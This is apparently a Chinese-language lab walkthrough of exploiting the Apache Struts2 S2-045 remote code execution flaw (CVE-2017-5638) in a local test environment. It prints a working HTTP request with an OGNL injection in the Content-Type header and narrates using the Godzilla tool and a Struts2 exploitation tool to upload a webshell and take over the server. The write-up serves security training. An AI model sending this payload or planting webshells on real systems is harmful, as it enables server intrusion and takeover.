目录
S2-045 远程代码执行漏洞(CVE-2017-5638)
S2-045 远程代码执行漏洞(CVE-2017-5638)
开启漏洞环境
进入Ubuntu系统下的对应漏洞环境,开启环境
将漏洞环境开启来
查看是否启动成功
启动成功过后,去浏览器进行访问:
通过浏览器去访问该漏洞环境
http://ip:8080
接下来我们尝试去上传文件(随便上传),然后抓取数据包,修改数据包,然后观察响应数据的变化
随便上传一个文件
抓取数据包:
抓取数据包,修改数据包,查看修改后,收到的响应数据
直接发送以下数据包
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('lc',123+123)}.multipart/form-data
发现123+123已经被执行,显示出结果
抓包
发给重发器过后:
修改数据包信息,查看响应
观察发现我们输入的123+123,已经被执行
解析了以后,我们借助第三方工具,来进行生成木马文件,然后进行随意上传文件,进行漏洞检测,然后上传木马文件,获取服务器的shell
工具:哥斯拉、struts2漏洞检测工具
打开哥斯拉,生成木马:
查看木马文件
将随意的文件尝试上传,观察url变化
上传后,观察此url
复制此url,借助第三方工具进行扫描
工具:struts2漏洞扫描工具
查看检查结果,存在漏洞
验证漏洞
远程命令执行
查看根目录下的内容
点击文件上传模块,尝试上传木马文件
查看是否能够上传成功,观察到已经上传成功
strut2漏洞检测以及利用工具地址:
https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927
观察上传访问路径,进行复制,使用第三方工具(哥斯拉)进行连接
通过哥斯拉来进行连接
连接成功,进行添加,进入,成功拿到服务器shell
成功添加
点击进入即可,成功拿到shell
可对文件进行任何操作:
文章不妥之处,欢迎批评指正!